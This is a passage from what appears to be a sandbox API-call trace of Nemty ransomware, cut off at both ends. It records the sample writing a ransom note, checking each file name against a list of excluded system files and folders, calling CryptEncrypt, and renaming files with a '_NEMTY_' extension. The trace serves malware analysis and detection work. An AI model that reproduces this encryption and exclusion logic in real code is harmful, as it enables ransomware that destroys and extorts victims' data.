RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63401c8 [0146.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0146.334] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0146.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0146.335] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.335] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0146.336] CloseHandle (hObject=0x254) returned 1 [0146.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0146.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6347058 | out: hHeap=0x4f90000) returned 1 [0146.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6347058 [0146.336] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xadd2630, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xadd2630, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0146.336] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0146.336] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xadd2630, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xadd2630, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.336] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0146.336] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0146.336] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x510, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0146.336] lstrcmpiW (lpString1="settings.css", lpString2=".") returned 1 [0146.336] lstrcmpiW (lpString1="settings.css", lpString2="..") returned 1 [0146.336] lstrcmpiW (lpString1="settings.css", lpString2="...") returned 1 [0146.336] lstrcmpiW (lpString1="settings.css", lpString2="windows") returned -1 [0146.336] lstrcmpiW (lpString1="settings.css", lpString2="$RECYCLE.BIN") returned 1 [0146.336] lstrcmpiW (lpString1="settings.css", lpString2="rsa") returned 1 [0146.336] lstrcmpiW (lpString1="settings.css", lpString2="NTDETECT.COM") returned 1 [0146.336] lstrcmpiW (lpString1="settings.css", lpString2="ntldr") returned 1 [0146.336] lstrcmpiW (lpString1="settings.css", lpString2="MSDOS.SYS") returned 1 [0146.336] lstrcmpiW (lpString1="settings.css", lpString2="IO.SYS") returned 1 [0146.336] lstrcmpiW (lpString1="settings.css", lpString2="boot.ini") returned 1 [0146.337] lstrcmpiW (lpString1="settings.css", lpString2="boot.ini") returned 1 [0146.337] lstrcmpiW (lpString1="settings.css", lpString2="AUTOEXEC.BAT") returned 1 [0146.337] lstrcmpiW (lpString1="settings.css", lpString2="ntuser.dat") returned 1 [0146.337] lstrcmpiW (lpString1="settings.css", lpString2="desktop.ini") returned 1 [0146.337] lstrcmpiW (lpString1="settings.css", lpString2="CONFIG.SYS") returned 1 [0146.337] lstrcmpiW (lpString1="settings.css", lpString2="RECYCLER") returned 1 [0146.337] lstrcmpiW (lpString1="settings.css", lpString2="BOOTSECT.BAK") returned 1 [0146.337] lstrcmpiW (lpString1="settings.css", lpString2="bootmgr") returned 1 [0146.337] lstrcmpiW (lpString1="settings.css", lpString2="programdata") returned 1 [0146.337] lstrcmpiW (lpString1="settings.css", lpString2="appdata") returned 1 [0146.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0146.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0146.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0146.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0146.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0146.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0146.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0146.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0146.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340110 [0146.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6347058 | out: hHeap=0x4f90000) returned 1 [0146.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401c8 [0146.337] Sleep (dwMilliseconds=0x5) [0146.341] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xadf8790, dwHighDateTime=0x1d561e8)) [0146.341] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xadf8790, dwHighDateTime=0x1d561e8)) [0146.341] GetLastError () returned 0xb7 [0146.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0146.341] GetLastError () returned 0xb7 [0146.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0146.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.342] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0146.342] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0146.342] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0146.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0146.342] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653e5dc | out: pszString="spomzoTPYPaU40szbp2CfoO5g6f/4KP+q2P2MFJPWs/F+N7G6yZBMtq7m3ZMSU+a\r\naK/5vgl6J3UDxZ+ItNYsuWOxz8IPdfp9ygN8iAZEM0CG7nAD5QAcIxnZGJlGdyWJ\r\nGofZtdRgSe40hx9hC1agdt6Z6DPfAUzci3gC/hYHfLfgIjGqlZlzZ3JbvFpewouz\r\nnKN/pOqrSb3ZOKFdtrHDtJHS7GJCHRH1Zt45XQ7/C+QzKIdaC4UhyTbBSUVoAGoc\r\n7hNtdIH+CcjJPPD5Dbm2om9qH8w2dr4HaF4qhBBqf13BBpqMpY6RKaC/+Ywgnr+m\r\nZextI54h6sSjcfii0X0HeA==\r\n", pcchString=0x653e5dc) returned 1 [0146.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0146.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0146.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0146.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0146.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0146.342] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\settings.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.343] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0146.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0146.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.343] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.352] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.352] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.361] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.362] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.380] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.380] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.389] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.399] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.408] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.408] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.436] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.436] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.442] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.442] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0146.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.448] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.448] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340280, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0146.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0146.449] CloseHandle (hObject=0xffffffff) returned 0 [0146.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0146.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0146.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0146.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0146.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0146.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0146.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0146.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0146.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0146.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.449] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\settings.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\settings.css._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css\\settings.css._nemty_kgobjgd_")) returned 0 [0146.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0146.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0146.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0146.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0146.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0146.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0146.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0146.449] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x11b0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="slideShow.css", cAlternateFileName="")) returned 1 [0146.449] lstrcmpiW (lpString1="slideShow.css", lpString2=".") returned 1 [0146.449] lstrcmpiW (lpString1="slideShow.css", lpString2="..") returned 1 [0146.449] lstrcmpiW (lpString1="slideShow.css", lpString2="...") returned 1 [0146.449] lstrcmpiW (lpString1="slideShow.css", 